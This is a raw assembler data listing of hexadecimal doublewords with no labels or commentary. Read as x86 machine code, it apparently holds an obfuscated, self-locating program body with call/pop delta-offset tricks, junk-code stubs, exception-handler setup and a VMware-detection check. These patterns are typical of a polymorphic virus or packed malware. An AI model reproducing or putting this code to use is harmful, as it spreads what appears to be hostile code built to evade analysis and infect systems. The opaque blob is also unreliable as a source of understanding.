		dd 6EC8E181h, 61595FFh,	89600610h, 100A8DBDh, 89BE6606h
		dd 858D611Ch, 612FA06h,	4840Fh,	0BA660000h, 0E8606A3Eh
		dd 5, 0DA761F0h, 35BD89D4h, 5B061009h, 6EDBD89h, 50610610h
		dd 68A0Fh, 9D890000h, 6102119h,	15DD95FFh, 0B9660610h
		dd 0B70FF011h, 908589D3h, 890612FAh, 102D0D95h,	13858D06h
		dd 0B20612FAh, 8D335022h, 6101D55h, 0FA90B5FFh,	95290612h
		dd 61032C5h, 0D8595FFh,	85290610h, 6101F1Dh, 2169BD8Bh
		dd 85890610h, 61010A9h,	39467DB9h, 81858D2Ch, 500612FAh
		dd 0F09BD8Bh, 505A0610h, 0FA90B5FFh, 0FFF50612h, 100D8595h
		dd 1DB58906h, 89061017h, 12FAA485h, 0A58D8B06h,	8D061029h
		dd 12FA6085h, 0A9BD8B06h, 50061016h, 0F19D2956h, 5F06101Ah
		dd 0FA90B5FFh, 0EA810612h, 68BE5359h, 8595FFF8h, 0F806100Dh
		dd 0FA9C8589h, 0DE90612h, 97000000h, 0A9C94280h, 51C64572h
		dd 8A60FB07h, 20FDBD03h, 858D0610h, 612FA53h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7C35646h, 85B58960h
		dd 0F061016h, 89h, 0DE96100h, 65000000h, 0F9F901B1h, 0ED7F1A41h
		dd 9B03F0F2h, 0FD858950h, 0FF061005h, 12FA90B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 6684A114h, 8B66CF8Bh, 0BACEBFCFh, 95FF11F6h,	6100D85h
		dd 0FAA08589h, 8D8B0612h, 61013E5h, 0FA6E858Dh,	6A0612h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F544BC3h, 0CA8BD3BFh, 0FFD08B50h, 12FA90B5h, 0FFCF8B06h
		dd 100D8595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 57657EF5h, 0A244A0Eh, 0A585897Ah
		dd 0E9061016h, 7, 1DBCB146h, 8D0BD591h,	12FA2285h, 1850F06h
		dd 0FC000000h, 3FBA6650h, 90B5FFD3h, 660612FAh,	95FFD78Bh
		dd 6100D85h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0E9C35040h, 0DFDB8F6Eh,	0FA948589h, 9E90612h, 16000000h
		dd 3971145Eh, 0F268B847h, 12E9h, 69D55F00h, 0F246955Dh
		dd 0F1C7DA1Bh, 31BC2554h, 8D12D169h, 12FA3185h,	0AE906h
		dd 7ECC0000h, 0BEA18EFEh, 0B58580D0h, 50CEBF0Fh, 13B59589h
		dd 0B5FF0610h, 612FA90h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 77C35646h, 0D9C197EFh, 5F8797B5h, 8595FFCFh
		dd 8B06100Dh, 1000B58Dh, 98858906h, 890612FAh, 1021618Dh
		dd 0D2B70F06h, 10468h, 28858D00h, 8B0612FBh, 1030FD95h
		dd 8E806h, 0E0610000h, 940FF883h, 0BD8BFC82h, 61009C9h
		dd 38B2505Fh, 0FC2C858Dh, 890F0612h, 2,	8950D18Bh, 102E59B5h
		dd 195FF06h, 6A061008h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 2261C356h, 0F3BFD1ECh
		dd 8166EB15h, 856C7DC7h, 6850FC0h, 31000000h, 1014259Dh
		dd 1BD8006h, 61306h, 13850Fh, 85310000h, 6102205h, 15FBE9h
		dd 0C4F18000h, 0D9E5FDBFh, 0E5BD8353h, 61022h, 74850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 5B91ABC3h, 0FA2B5098h, 13E8FBh, 0B6BF0000h
		dd 9439751h, 40B3A326h,	33870BE7h, 0C8539E36h, 5FD68B6Ah
		dd 83FE8B66h, 130AABBDh, 840F0006h, 69h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 63C35040h, 4C4F9870h
		dd 12D8D89h
		dd 858D0610h, 612FAC5h,	359D8960h, 0E9061033h, 11h, 325CBDC3h
		dd 0DD0B1593h, 0E9933C0h, 0CC7E2AD4h, 49E96119h, 50000015h
		dd 0DE9h, 64A17400h, 0E3CC28F3h, 20A917EEh, 0E95ADA01h
		dd 7, 0B0858DF8h, 500612FAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 6DC35040h, 0F4466F97h, 0E8019556h
		dd 11h,	0D00638B7h, 0EC2D7BB8h,	0EF6D95AAh, 0F29D0C0Dh
		dd 0A1B509C0h, 59061029h, 0FB28858Dh, 0BF660612h, 8D8BB9E3h
		dd 6102181h, 5E950h, 0EBB80000h, 8377D699h, 1022E5BDh
		dd 840F0006h, 30h, 2255B501h, 858D0610h, 612FC4Eh, 678FD781h
		dd 1FE91588h, 0E8000000h, 0Dh, 5D6EC7F1h, 9EB927F4h, 39A8440Ch
		dd 21BD03F8h, 5A06101Eh, 0FC37858Dh, 8B500612h,	1030BDBDh
		dd 86858D06h, 6A0612FCh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 6BDEC357h, 3289A5C1h
		dd 0F3E2585Eh, 13359523h, 6A500610h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 330FC355h
		dd 95FF72BEh, 6100251h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0DDC35343h, 63A16D1Fh, 5A56CF8Bh, 6A10C483h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 5130C355h, 0C08B7AB1h, 77CA8166h,	8DBD83A9h
		dd 61015h, 0BD830975h, 6100095h, 50197400h, 0B8C08B53h
		dd 7D3h, 0E658589h, 9D8D0610h, 612B815h, 585BD3FFh, 95BD83h
		dd 74000610h, 0B8535017h, 7D3h,	0E658589h, 9D8D0610h, 612B504h
		dd 585BD3FFh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	89C35747h, 721313BAh, 5E969h, 0CDE0000h, 8B5E9104h
		dd 5E9C0h, 0B5760000h, 8115C21Eh, 12FAB0BDh, 65726F06h
		dd 0AE840F61h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0E618C357h,	28342259h
		dd 0BD0B0C77h, 6102109h, 0FB28858Dh, 8D500612h,	12FC6585h
		dd 858D5006h, 612FC86h,	5195FF50h, 83061002h, 85C60CC4h
		dd 61023E5h, 184F6844h,	0B5FF96A3h, 6101499h, 3A32858Dh
		dd 0D0FF0610h, 858DD88Bh, 612FC86h, 8DD3FF50h, 12FAB085h
		dd 858D5006h, 612FB28h,	0E5BD8350h, 61022h, 858D0874h
		dd 612FC4Eh, 858D06EBh,	612FC37h, 86858D50h, 500612FCh
		dd 25195FFh, 0C4830610h, 0E1B50910h, 89061023h,	100DF19Dh
		dd 8195FF06h, 8B061032h, 1023F18Dh, 0FF2506h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 464217C3h, 53ED86A1h, 998D2981h, 0E8061011h,	13h, 7D99336h
		dd 2BADB633h, 0A4B55441h, 4C12631Eh, 0BDEA323h,	101CDD95h
		dd 0F8835906h, 40830F05h, 31000000h, 10064985h,	0C787B606h
		dd 101AD985h, 106h, 0CBB96600h,	0BD315282h, 6103115h, 0E4858D5Ah
		dd 600612FAh, 9953D081h, 9D895955h, 61023ADh, 79E961h
		dd 0C1800000h, 69958B4Bh, 83061004h, 1022E5BDh,	840F0006h
		dd 51h,	5E9h, 0E34E4900h, 858DF130h, 612FB0Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 91C35646h, 0C0C5FA55h
		dd 0F42AF8Bh, 28E9D6BFh, 0E9000000h, 11h, 39832FA9h, 0D1648F11h
		dd 4A2B4047h, 7AF8285Fh, 0F1858DDBh, 0B20612FAh, 5E935h
		dd 0C3520000h, 89D5784Bh, 12FB2485h, 87BA6606h,	0E5BD83ABh
		dd 61022h, 19850Fh, 0BD290000h,	6102ED9h, 0AABBD83h, 0F000613h
		dd 1184h, 298D2B00h, 0E9061020h, 1158h,	1315958Bh, 79E90610h
		dd 23000004h, 1030AD95h, 66C08B06h, 2F56F281h, 8309E980h
		dd 10158DBDh, 9750006h,	95BD83h, 74000610h, 8B535019h
		dd 7D4B8C0h, 85890000h,	6100E65h, 0B8159D8Dh, 0D3FF0612h
		dd 0BD83585Bh, 6100095h, 50177400h, 7D4B853h, 85890000h
		dd 6100E65h, 0B5049D8Dh, 0D3FF0612h, 6A585Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B6612C3h
		dd 5FC181F8h, 8B25943Eh, 68CE8BC0h, 0F003Fh, 6D9BD89h
		dd 6A0610h, 8B006AF8h, 0A995FFF8h, 6A061010h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 6DF2C352h, 85951C56h, 31850FC0h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 909AC351h, 8D03D405h, 6102DEDh, 1EE9BD29h, 0B5890610h
		dd 61001C9h, 0FAA88589h, 6A0612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0DA82D2C3h, 69F3D338h
		dd 0BBF9D53h, 101FB9BDh, 29006A06h, 1007218Dh, 0B1958B06h
		dd 6A061013h, 89950300h, 6A06100Eh, 8B006A00h, 1009A9BDh
		dd 66006A06h, 8D0549BFh, 12FC8685h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 8837F381h
		dd 11540D27h, 0B5893E1Ch, 6101685h, 0A1958B50h,	6A061010h
		dd 81958B01h, 6A061000h, 66C78101h, 6A65722Eh, 0DB03BF01h
		dd 0FF682929h, 66000F01h, 0BD83CA8Bh, 61022E5h,	66840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0C2DDC357h, 0FB05858Dh, 0F7810612h
		dd 386454B1h, 41E9h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 36A8FB0Fh, 14E9h, 1A101200h
		dd 41811D8h, 0AAE7E91Dh, 1F6016DEh, 0F82598F6h,	0DB858D51h
		dd 800612FAh, 8950A3C5h, 100975BDh, 6A5006h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8B51C3h
		dd 61010FDh, 0FAA8B5FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 57639BC3h, 1F66D3B9h
		dd 95335A38h, 6100F91h,	68B0Fh,	0E2810000h, 30082ADBh
		dd 0FA9495FFh, 952B0612h, 61015B5h, 0C840Fh, 830F0000h
		dd 6, 810Fh, 0C0850000h, 43850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0EA7746C3h
		dd 0E6271B65h, 0F88B4FBEh, 59E9h, 13E900h, 0FC9C0000h
		dd 79765CA1h, 0BC293AE7h, 0E2044755h, 0DB44DDE7h, 0AC858972h
		dd 0F90612FAh, 0FAACB5FFh, 14E90612h, 2A000000h, 841BE467h
		dd 578A9220h, 0F18ECECDh, 0E3C0AD5Dh, 0FF619A42h, 1016A595h
		dd 758D0906h, 0F906100Ah, 850FC085h, 6,	0C358D8Bh, 106A0610h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 9C35141h
		dd 9CE11521h, 0C330C181h, 0BD83171Eh, 61022E5h,	16840F00h
		dd 8D000000h, 12FB0585h, 0E1816606h, 23E9DA47h,	8B000000h
		dd 1030A595h, 0DB858D06h, 0E80612FAh, 9, 14A014FFh, 0F6EC19A3h
		dd 2810F1Fh, 60000000h,	6A505A61h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BDEC357h
		dd 0A8B5FFF9h, 6A0612FAh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 573AC351h
		dd 0FFD3BF0Fh, 12FAA095h, 39958B06h, 85061029h,	23850FC0h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0A12FC351h, 8198D01h, 85890610h
		dd 612FAACh, 60CA8166h,	0BF006A24h, 1F3A55F9h, 0B589006Ah
		dd 61005C5h, 0FAACB5FFh, 0B5890612h, 61030C1h, 0FA9895FFh
		dd 0C1810612h, 5B91ED6Eh, 850FC085h, 6,	5FDBD89h, 0B5FF0610h
		dd 612FAACh, 23CD9589h,	95FF0610h, 61016A5h, 11AD958Bh
		dd 0C0850610h, 6850Fh, 8D8B0000h, 610298Dh, 0BD8B006Ah
		dd 6102FEDh, 68C8BF0Fh,	80h, 9298D8Bh, 36A0610h, 0E8B9006Ah
		dd 6A0FDE75h, 0C7816600h, 686444h, 3C00000h, 1009F9BDh
		dd 8EBF6606h, 24B5FF48h, 310612FBh, 101B9595h, 0F195FF06h
		dd 6A061015h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 8BD1C357h, 58E0F0Eh, 0BF000000h
		dd 35FE47D5h, 57AFBF66h, 0FFFF883h, 48285h, 0C99D8900h
		dd 8906102Fh, 102E01B5h, 9285FF06h, 8B061305h, 10105595h
		dd 92BD8306h, 2061305h,	389840Fh, 858D0000h, 5B243Bh, 8951D0FFh
		dd 102DD19Dh, 0AE85F06h, 9D000000h, 52D4A61h, 0F67C1CAFh
		dd 858D5A6Fh, 5B1E8Eh, 81D0B70Fh, 6DFD82F1h, 6AD0FF61h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0BB7EC351h, 0B0E1E1C0h, 5F059D71h, 3DBA8BB9h
		dd 8BC08B28h, 1010A58Dh, 0EA816606h, 0BD839838h, 610158Dh
		dd 83097500h, 100095BDh, 19740006h, 0C08B5350h,	7D8B8h
		dd 65858900h, 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h
		dd 61000h, 53501774h, 7D8B8h, 65858900h, 8D06100Eh, 12B5049Dh
		dd 5BD3FF06h, 0D59D0958h, 0B106100Dh, 6AC08B14h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 1B4C352h, 559EE0E6h,	0E1816691h, 3F684B06h, 66000F00h
		dd 6ACE8Bh, 11870Fh, 0CE90000h,	75000000h, 0F52F6BACh
		dd 4414C3F5h, 6A5AE5F0h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0DD4B8657h, 10A995FFh
		dd 0F88B0610h, 6AC085h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 98AF01C3h, 774DE174h, 81735F9Bh
		dd 0C88AB2D9h, 0A8858914h, 8B0612FAh, 101B1195h, 1FF6806h
		dd 0BF66000Fh, 0BD834953h, 61022E5h, 13840F00h,	81000000h
		dd 0E86A00EAh, 5858D1Bh, 0E90612FBh, 1Ch, 858DB7B2h, 612FADBh
		dd 0FE9h, 1162BF00h, 46F18902h,	8995AE96h, 0EE5DB842h
		dd 81666050h, 894AAFEEh, 100E958Dh, 0B5FF6106h,	612FAA8h
		dd 11A1BD8Bh, 95FF0610h, 612FAA0h, 0BF0FCE8Bh, 0AC8589FAh
		dd 0E90612FAh, 9, 779D1B4Bh, 19CE9EEBh,	0D85C761h, 6102Ah
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0D697C355h, 9AAE9575h,	2D19BAC5h
		dd 0BD837C4Eh, 612FAACh, 62840F00h, 8B000001h, 10228D95h
		dd 8A858D06h, 500612FDh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0DDC35646h, 0ABA71F97h, 9501E5C1h, 6100A29h
		dd 3C18166h, 8B016ABFh,	0ACB5FFD0h, 0F0612FAh, 688h, 35850100h
		dd 0FF061016h, 12FAA495h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 5D8BFEC5h
		dd 70B1600Fh, 0B5FF61F5h, 612FAACh, 79D952Bh, 95FF0610h
		dd 61016A5h, 0EE9h, 7BE25000h, 522CC7CFh, 0E14DF3D7h, 0FAD5B24h
		dd 48Fh, 0CCBA6600h, 1FF686Ah, 8531000Fh, 610057Dh, 22E5BD83h
		dd 0F000610h, 1784h, 5858D00h, 8B0612FBh, 0C4BF66CFh, 2DE974h
		dd 95890000h, 6103365h,	0FADB858Dh, 0FE80612h, 0AB000000h
		dd 4C05B85Ah, 0B2446EBCh, 0CA0A14F9h, 7E962D6h,	2D000000h
		dd 3ABD299Dh, 505F7D57h, 2129958Bh, 0B5FF0610h,	612FAA8h
		dd 845958Bh, 9D090610h,	6101D05h, 0FAA095FFh, 0F520612h
		dd 8Ch,	85895A00h, 612FAACh, 0A41DB966h, 31599D29h, 0B5FF0610h
		dd 612FAACh, 810BBA66h,	0FA9C95FFh, 8D8B0612h, 6102D21h
		dd 0FAACB5FFh, 95030612h, 6100561h, 16A595FFh, 0B70F0610h
		dd 0F763E9FEh, 0FFF5FFFFh, 1305F5B5h, 0D3B70F06h, 2DB995FFh
		dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0DDCB47C3h, 2771BD8Bh, 858B0610h,	6100A0Dh
		dd 13B18D8Bh, 6AE90610h, 89000006h, 1021D5B5h, 0AAB58D06h
		dd 520612FDh, 15A98D8Bh, 8D5A0610h, 12AB5E85h, 8430BF06h
		dd 0D0FF23E8h, 295DBD8Bh, 6A0610h, 95FFCA8Bh, 61009ADh
		dd 8BFABF0Fh, 53006AF3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 7F470679h, 0AE9h,	8BB6A900h, 0E0895315h
		dd 8DA7D01Bh, 12AB5E85h, 0DAE98106h, 0FF794EBCh, 0A2E180D0h
		dd 6660006Ah, 0B638D381h, 241D9D89h, 0FF610610h, 1009AD95h
		dd 1DD98106h, 8B06676Eh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0F05D12FAh, 0F9BD8BE4h
		dd 83061018h, 10158DBDh, 9750006h, 95BD83h, 74000610h
		dd 8B535019h, 7D9B8C0h,	85890000h, 6100E65h, 0B8159D8Dh
		dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h,	7D9B853h
		dd 85890000h, 6100E65h,	0B5049D8Dh, 0D3FF0612h,	6A585Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0F07F87C3h, 60CD08D6h, 8BFEBF0Fh, 10057D9Dh,	8E96106h
		dd 13000000h, 5DDB8526h, 8B53C55Fh, 3D8D8BC0h, 5006101Bh
		dd 0CF20F6BAh, 6AD88B2Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0DC5BC353h,	0DE9h
		dd 8C20FE00h, 0F2C36B70h, 97CAD5F6h, 53F58C32h,	0CB59D8Dh
		dd 38B0610h, 438B0389h,	50438950h, 58E9D8Dh, 38B0613h
		dd 8B5B0389h, 10294195h, 25B96606h, 40EA8128h, 6A41A5A0h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0A398D404h, 858D95FDh, 613058Eh,	3850Fh
		dd 0B70F0000h, 6A50D7h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 6F7895C3h, 8A484CF1h, 0E5B966F5h
		dd 606AF514h, 7E9h, 56C63000h, 13A8F47h, 0CB5858Dh, 6A0610h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8BEF8CC3h, 102F91BDh, 0C5B15006h, 830F006Ah,	6, 29499589h
		dd 6A0610h, 180068F9h, 0BD890000h, 6103109h, 9E9h, 19113B00h
		dd 795630D2h, 6A539307h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 1500C352h, 0FFF9E88Ah
		dd 100A7195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 877C5BF5h, 0F7FA2F2Ah, 2ECD9D89h
		dd 8E0F0610h, 0Ch, 68F0Fh, 0B5890000h, 6101635h, 162195FFh
		dd 0CE8B0610h, 5F5B5FFh, 6E90613h, 6B000000h, 7FF99F72h
		dd 0B995FF72h, 6A06102Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 9ACBC356h
		dd 0C8FC970h, 0CEBF0FE7h, 22258D89h, 858D0610h,	6100CB5h
		dd 0F58589h, 408B0610h,	3D958918h, 0C7061013h, 10059985h
		dd 6, 85895300h, 6101649h, 0E5BD835Ah, 61022h, 1C840Fh
		dd 9D890000h, 6102DA5h,	8C3Dh, 10830F00h, 8B000002h, 1027698Dh
		dd 0DE906h, 983D0000h, 0F000000h, 1FA83h, 8DCE8A00h, 5B243B85h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0BD8B5C98h, 6101DE5h, 0C781D0FFh, 5D752AD3h
		dd 1E8E858Dh, 840F005Bh, 3, 0FFFE8B66h,	56006AD0h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 32622616h, 8B419C69h, 1004E595h, 6AC08B06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0C1BBC355h, 1834D295h, 68F0F52h, 3000000h, 100B758Dh
		dd 0BD835A06h, 610158Dh, 83097500h, 100095BDh, 19740006h
		dd 0C08B5350h, 0BC6B8h,	65858900h, 8D06100Eh, 12B8159Dh
		dd 5BD3FF06h, 95BD8358h, 61000h, 53501774h, 0BC6B8h, 65858900h
		dd 8D06100Eh, 12B5049Dh, 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0AD4FDFE9h
		dd 0AECF6CAAh, 0F181BAACh, 5394BE2Fh, 11659D01h, 0C08B0610h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F2C35242h
		dd 0F883CE8Ah, 45850FFFh, 0E8000000h, 10h, 8C3FA23Dh, 18E7B741h
		dd 0E6F4160Ah, 8D308F3Dh, 30959D31h, 0C75A0610h, 10282D85h
		dd 6, 0C2F8BA00h, 33E955C4h, 57000001h,	0E95FD78Ah, 49h
		dd 6830Fh, 8D8B0000h, 61006FDh,	0F01F883h, 3485h, 13E900h
		dd 6B8F0000h, 1D6E8700h, 0ED7EAD9Bh, 12D329BBh,	6C90CBDCh
		dd 99958B4Dh, 0E9061022h, 149h,	0CE9h, 84F30000h, 0DE423FB8h
		dd 12A3F7BEh, 0F1E7E98Ch, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0E34AF7C3h, 60554CCCh
		dd 1FF99D89h, 8B660610h, 816661CBh, 8B2092C1h, 0D18166C0h
		dd 0BD83F0F8h, 610158Dh, 83097500h, 100095BDh, 19740006h
		dd 0C08B5350h, 7DDB8h, 65858900h, 8D06100Eh, 12B8159Dh
		dd 5BD3FF06h, 95BD8358h, 61000h, 53501774h, 7DDB8h, 65858900h
		dd 8D06100Eh, 12B5049Dh, 5BD3FF06h, 159D2958h, 89061005h
		dd 1016858Dh, 6AC08B06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0F7AC355h, 566E8D06h
		dd 68E0Fh, 0BD8B0000h, 6100B41h, 0CBBF0F59h, 267E9h, 9E800h
		dd 0F29C0000h, 0E34FF5A9h, 89701C03h, 101491B5h, 858D5A06h
		dd 6130392h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	9EC35040h, 1FA8FA26h, 8BE1194Eh, 8A8589FBh, 89061305h
		dd 10012585h, 0FE806h, 0C1D80000h, 6E292C94h, 24D470CFh
		dd 7E3653ECh, 8C5ABF20h, 0E95F3B1Ch, 62h, 9A858DF8h, 8A061301h
		dd 6A40F5h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 8AB59AC3h, 0AF95FCD0h, 8589FA8Bh,	613058Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DBC35141h
		dd 4B6F92AFh, 0F10CA74h, 584h, 0D7816600h, 346A4287h, 14E9858Dh
		dd 0FF500610h, 13058AB5h, 0FF006A06h, 1012F595h, 7F88306h
		dd 168840Fh, 8C660000h,	4C3F6DBh, 102850Fh, 85C60000h
		dd 61023E5h, 0B8526856h, 0B5FF9CA8h, 6101499h, 3A32858Dh
		dd 0D0FF0610h, 68046Ah,	6A000010h, 0FF006A64h, 0FD8589D0h
		dd 0C6061305h, 1023E585h, 9B684706h, 0FFEC18ACh, 101499B5h
		dd 32858D06h, 0FF06103Ah, 8BD0FFD0h, 0E585C6F0h, 4F061023h
		dd 2F266168h, 61B5FFC6h, 8D06102Eh, 103A3285h, 8DD0FF06h
		dd 1305F99Dh, 286A5306h, 85D0FF56h, 0C60075C0h,	1023E585h
		dd 98684106h, 0FFDB8764h, 102E61B5h, 32858D06h,	0FF06103Ah
		dd 168589D0h, 0C6061306h, 1023E585h, 0A4684C06h, 0FF80A4E7h
		dd 102E61B5h, 32858D06h, 0FF06103Ah, 0FD9D8BD0h, 8D061305h
		dd 8D53045Bh, 1306029Dh, 6A5306h, 9D8BD0FFh, 61305FDh
		dd 103C7h, 43C70000h, 20Ch, 619D8B00h, 0C7061011h, 1001E585h
		dd 6, 6A006A00h, 8B006A00h, 1305FD9Dh, 6A5306h,	5F9B5FFh
		dd 95FF0613h, 6130616h,	23E585C6h, 68450610h, 92A5F797h
		dd 20E5B5FFh, 858D0610h, 6103A32h, 6AD0FFh, 0D0FF026Ah
		dd 0F6DB8C66h, 327504C3h, 5FD9D8Bh, 43C70613h, 0Ch, 6A006A00h
		dd 0FD9D8B00h, 53061305h, 0B5FF006Ah, 61305F9h,	61695FFh
		dd 0B5FF0613h, 61305F9h, 162195FFh, 6A0610h, 9AD95FFh
		dd 0B5890610h, 6100625h, 61F38B60h, 3B04858Dh, 95290613h
		dd 61012F1h, 0EA816050h, 240648A4h, 35FF6461h, 0
		dd 258964h, 31000000h, 1014558Dh, 5BD8306h, 61031h, 7B840Fh
		dd 8D8B0000h, 6102885h,	9BD83FCh, 1061022h, 67850Fh, 8B660000h
		dd 51BD89CBh, 80061005h, 130A16BDh, 850F0006h, 51h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 83C35343h, 387FFFC5h
		dd 0FE93Eh, 2E300000h, 838DAD98h, 877BDAD7h, 0C9766C23h
		dd 8C0F6045h, 5, 5BF38166h, 61605235h, 84E9615Fh, 29000001h
		dd 100C118Dh, 6ADB3306h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 47BDC352h, 5E97Ch
		dd 92E30000h, 33C9773Bh, 0A42FB9C0h, 0BD8B76C1h, 610319Dh
		dd 73F0F40h, 58F640Bh, 0
		dd 8904C483h, 100A75BDh, 2BCF8B06h, 101FCD95h, 0FB83F906h
		dd 29840FFFh, 8B000000h, 101A85BDh, 10BE906h, 12E80000h
		dd 0C2000000h, 0B90B51C2h, 5AD351FAh, 0D7627D50h, 0F2F87003h
		dd 9BD332Dh, 5F061028h,	81E9h, 4810F00h, 66000000h, 8BA294BAh
		dd 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h
		dd 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h, 6133B26h, 0B8838Bh
		dd 858D0000h, 6133BECh,	0B88389h, 335D0000h, 0E180C3C0h
		dd 81666056h, 1399CEEh,	10015195h, 6A6106h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 50D648C3h
		dd 0EF9E5AF9h, 4D59D89h, 858D0610h, 6133B1Ch, 0A9F18166h
		dd 9EB650C0h, 35FF64h, 0F000000h, 686h,	1DBD2900h, 64061020h
		dd 2589h, 12E90000h, 0CD000000h, 0BE9616CCh, 497DA17Fh
		dd 359D2101h, 10568921h, 0AB91Eh, 4B80000h, 54855D7h, 0DF78164h
		dd 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh
		dd 75564D58h, 1185C70Ah, 106102Dh, 64000000h, 58Fh, 0C4830000h
		dd 0BF0FF504h, 66C08BCBh, 0F8D9F181h, 0BC1BD8Bh, 0BD830610h
		dd 610158Dh, 83097500h,	100095BDh, 19740006h, 0C08B5350h
		dd 43DB8h, 2D858900h, 8D061013h, 12B87C9Dh, 5BD3FF06h
		dd 95BD8358h, 61000h, 53501774h, 43DB8h, 2D858900h, 8D061013h
		dd 12B51D9Dh, 5BD3FF06h, 0D68B6658h, 5D98589h, 0D38B0610h
